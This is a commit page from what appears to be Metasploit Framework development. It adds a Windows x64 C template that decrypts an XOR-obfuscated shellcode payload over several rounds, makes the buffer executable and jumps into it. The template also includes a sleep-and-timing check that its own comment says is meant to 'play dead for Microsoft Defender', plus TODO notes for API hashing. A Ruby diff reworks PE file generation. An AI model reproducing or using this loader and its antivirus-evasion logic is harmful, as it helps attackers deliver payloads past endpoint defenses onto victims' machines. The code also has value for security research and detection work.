Skip to content

Commit 8e1261d

Browse files
committed
Adds new stuff to template, adds patching PE, adds placeholder for import section patching
1 parent c53fe9d commit 8e1261d

5 files changed

Lines changed: 443 additions & 101 deletions

File tree

data/templates/template_x64_windows.erb

Lines changed: 2 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -4,27 +4,13 @@
44

55
char bPayload[SCSIZE] = "<%= payload %>";
66

7-
char GetKey()
8-
{
9-
char hardcoded = bPayload[0];
10-
for (int i = 0; i <= 255; i++)
11-
{
12-
char res = i ^ hardcoded;
13-
if (res == (char)<%= "0x%02x"% control_byte %>)
14-
return (char)i;
15-
}
16-
}
177

188
void main() {
199
DWORD dwOldProtect;
2010
char* payload_fnc = NULL;
21-
char key = GetKey();
2211

23-
for (int i = 0; i < SCSIZE; i++)
24-
{
25-
bPayload[i] = bPayload[i] ^ key;
26-
}
27-
payload_fnc = bPayload + 1;
12+
payload_fnc = bPayload;
13+
2814
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
2915
(*(void (*)()) payload_fnc)();
3016
return;
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
#include <Windows.h>
2+
#include <stdio.h>
3+
#define SCSIZE <%= encrypted_payload_length %>
4+
5+
char bPayload[SCSIZE] = "<%= encrypted_payload %>";
6+
char bControlBytes[<%= encryption_rounds %>] = "<%= control_bytes %>";
7+
8+
typedef union _LARGE_INTEGER {
9+
struct {
10+
DWORD LowPart;
11+
LONG HighPart;
12+
} DUMMYSTRUCTNAME;
13+
struct {
14+
DWORD LowPart;
15+
LONG HighPart;
16+
} u;
17+
__int64 QuadPart;
18+
} LARGE_INTEGER, *PLARGE_INTEGER;
19+
20+
typedef NTSTATUS (__stdcall *fnNtDelayExecution)(
21+
BOOLEAN Alertable,
22+
PLARGE_INTEGER DelayInterval
23+
);
24+
25+
26+
int DelayExecution()
27+
{
28+
// Converting minutes to milliseconds - TODO: add random interval
29+
DWORD dwMilliSeconds = 12000;
30+
LARGE_INTEGER DelayInterval = { 0 };
31+
__int64 Delay = NULL;
32+
NTSTATUS STATUS = NULL;
33+
34+
// TODO: add API hashing
35+
fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDelayExecution");
36+
DWORD _T0 = NULL, _T1 = NULL;
37+
38+
// Converting from milliseconds to the 100-nanosecond - negative time interval
39+
Delay = dwMilliSeconds * 10000;
40+
DelayInterval.QuadPart = -Delay;
41+
42+
_T0 = GetTickCount();
43+
44+
45+
// Sleeping for 'dwMilliSeconds' ms
46+
if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 ) {
47+
return 0;
48+
}
49+
50+
_T1 = GetTickCount();
51+
52+
if((_T1 - _T0) < dwMilliSeconds) {
53+
return 0;
54+
}
55+
56+
return 1;
57+
}
58+
59+
char GetKey(char control_byte)
60+
{
61+
char hardcoded = bPayload[0];
62+
for (int i = 0; i <= 255; i++)
63+
{
64+
char res = i ^ hardcoded;
65+
if (res == (char)(control_byte))
66+
return (char)i;
67+
}
68+
}
69+
70+
void DecryptPayload(char control_byte)
71+
{
72+
char key = GetKey(control_byte);
73+
for (int i = 0; i < SCSIZE; i++)
74+
{
75+
bPayload[i] = bPayload[i] ^ key;
76+
}
77+
}
78+
79+
void main() {
80+
DWORD dwOldProtect;
81+
char* payload_fnc = NULL;
82+
for(int i = 0; i < <%= encryption_rounds %>; i++)
83+
{
84+
DecryptPayload(bControlBytes[i]);
85+
}
86+
payload_fnc = bPayload + 1;
87+
VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
88+
89+
//play dead for Microsoft Defender, because why not
90+
if(DelayExecution()){
91+
(*(void (*)()) payload_fnc)();
92+
}
93+
94+
return;
95+
}
96+

lib/metasploit/framework/compiler/custom.rb

Lines changed: 3 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -1,78 +1,15 @@
11
require 'metasm'
2-
require 'pry'
3-
require 'pry-byebug'
2+
require 'metasploit/framework/compiler/pe'
43

54
module Metasploit
65
module Framework
76
module Compiler
87

98
class Custom
109

11-
DOS_STUB = (
12-
"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21" \
13-
"This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\x00\x00\x00"
14-
).b.freeze
15-
16-
RICH_HEADER = ("\x7E\x13\x87\xAA\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x3A\x72\xE9\xF9\x33\x0A\x7A\xF9\x30\x72\xE9\xF9\xF1\x1D\xE8\xF8\x38\x72\xE9\xF9\xF1\x1D\xEC\xF8\x2B\x72\xE9\xF9\xF1\x1D\xED\xF8\x30\x72\xE9\xF9\xF1\x1D\xEA\xF8\x39\x72\xE9\xF9\x61\x1A\xE8\xF8\x3F\x72\xE9\xF9\x3A\x72\xE8\xF9\x0A\x72\xE9\xF9\xBC\x02\xE0\xF8\x3B\x72\xE9\xF9\xBC\x02\x16\xF9\x3B\x72\xE9\xF9\xBC\x02\xEB\xF8\x3B\x72\xE9\xF9\x52\x69\x63\x68\x3A\x72\xE9\xF9\x00\x00\x00\x00\x00\x00\x00\x00").b.freeze
17-
18-
COMMON_OFFSETS = [0x40, 0x80].freeze
19-
20-
def DOSHeader(pe_entry=nil)
21-
e_lfanew = pe_entry || COMMON_OFFSETS.sample
22-
dos_header = [
23-
"MZ".b, # e_magic
24-
"\x00\x00".b, # e_cblp
25-
"\x00\x00".b, # e_cp
26-
"\x00\x00".b, # e_crlc
27-
"\x00\x00".b, # e_cparhdr
28-
"\x00\x00".b, # e_minalloc
29-
"\x00\x00".b, # e_maxalloc
30-
"\x00\x00".b, # e_ss
31-
"\x00\x00".b, # e_sp
32-
"\x00\x00".b, # e_csum
33-
"\x00\x00".b, # e_ip
34-
"\x00\x00".b, # e_cs
35-
"\x40\x00".b, # e_lfarlc (offset to the DOS stub)
36-
[e_lfanew].pack('V') # e_lfanew (offset to the PE header)
37-
].join
38-
39-
dos_header + DOS_STUB
40-
end
41-
42-
def RichHeader
43-
RICH_HEADER
44-
end
45-
46-
def OptionalHeader
47-
48-
end
49-
50-
def NTHeader(numberOfSections=1)
51-
optionalHeader = OptionalHeader()
52-
sizeOfOptionalHeader = optionalHeader.length
53-
[
54-
# DWORD Signature
55-
"PE\0\0".b, # Signature
56-
# IMAGE_FILE_HEADER FileHeader
57-
"\x64\x86".b, # Machine (0x14c for x86)
58-
[numberOfSections].pack('v'), # NumberOfSections
59-
"\x19\x5e\x42\x2a".b, # TimeDateStamp - TODO: randomize
60-
"\x00\x00\x00\x00".b, # PointerToSymbolTable
61-
"\x00\x00\x00\x00".b, # NumberOfSymbols
62-
[sizeOfOptionalHeader].pack('v'), # SizeOfOptionalHeader
63-
"\x02\x01".b # Characteristics (0x102 for executable) - TODO: randomize
64-
# IMAGE_OPTIONAL_HEADER OptionalHeader
65-
optionalHeader
66-
].join
67-
end
68-
6910
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
70-
71-
binding.pry
72-
73-
raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe
74-
75-
11+
return Pe.from_c(c_template)
12+
#raise NotImplementedError, "Other type than :exe is not supported." unless type == :exe
7613
end
7714

7815
end

0 commit comments

Comments
 (0)